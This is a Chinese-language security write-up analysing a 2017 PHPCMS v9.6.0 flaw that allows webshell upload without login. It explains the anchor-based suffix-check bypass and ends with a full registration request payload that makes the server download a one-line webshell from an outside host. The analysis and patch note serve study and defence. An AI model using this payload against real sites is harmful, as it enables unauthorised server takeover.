PHPCMS_V9.6.0 前台GETSHELL

发布时间:2017-04-27   浏览次数:2,544  

0x00 POC

 

其中http://192.168.31.131/test.txt内容为一句话

0x01 代码分析
漏洞点在 /phpcms/libs/classes/attachment.class.php 文件的第 166 行至 172 行, download 函数中

 
大概说一下这个函数的流程: 经过全局处理后,传入的值$value 为:src=http://192.168.31.131/test.txt?.php#.jpg
然后使用 new_stripslashes 删除反斜杠,然后对传入的 url 使用正则匹配,检查其后缀合法性。
此处正则不难懂,匹配 href 或者 src 的值,后缀检查这里只要 url 的最后是
以 gif|jpg|jpeg|bmp|png就可以继续执行下去了,这个地方是漏洞出现的一个原因,因为我们知道URL可以存在锚点,即#后面的内容,所以URL后面加上#.jpg。 经过匹配后的 $matches 的结构如下:

 
$matches[3]传入fillurl($matche, $absurl, $basehref)函数处理,fillurl()函数如下:

 

这个函数就是除去锚点,所以取到的$remotefileurl的值为array('http://192.168.31.131/test.txt?.php#.jpg' => 'http://192.168.31.131/test.txt?.php'),这里去掉锚点又是漏洞的一个利用点,导致后面取到的文件后缀为php,而又没检测后缀,导致成功getshell,后面再说。
接着往下看:

总结一下,先对传入的 url 使用preg_match_all进行后缀检查,然后用 fillurl 去掉 # 后面的 内容,再用 fileext 取新后缀,取到新后缀后未检验,就直接用 copy 下载文件并重命名。由于逻辑处理不当导致漏洞,即典型的把验证放在最前面,而后面的操作导致前面的验证形同虚设。
现在找到了漏洞存在的地方,就要找个触发漏洞的地方。

全局搜索attachment->download找到几处调用的地方,以 caches/caches_model/caches_data/member_input.class.php 为例:

没有对$value过滤,继续找调用editor()的地方,用全局搜索没找到,观察好长时间也没找到,去看了看别人的分析才发现在get()函数里存在动态调用,这里可以构造调用editor()函数:

 
就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php文件,$modelid是我们可以控制的,正好在caches/caches_model/caches_data/model_field_1.cache.php 文件里面找到合适的 field 名:

 
即当传入的$field为content即可调用editor()函数,继续找调用get()函数的地方找到三处:

根据payload利用的是/phpcms/modules/member/index.php 中第135行的 register 方法:
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
所以只需$_POST['info'] 中
的 content 字段的值有src=http://192.168.31.131/test.txt?.php#.jpg便可以成功利用,register方法就是在注册的时候调用的,所以最终的payload:
url: /index.php?m=member&c=index&a=register&siteid=1

post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=
注意username和email不要重复,根据代码逻辑,重复了也会传上shell,但是不会返回路径。
0x02 漏洞修复
官网已推出补丁,升级到9.6.1即可。

转载注明:http://www.hekaiyu.cn/hacker/3894.html

Carpe Diem and Do what I like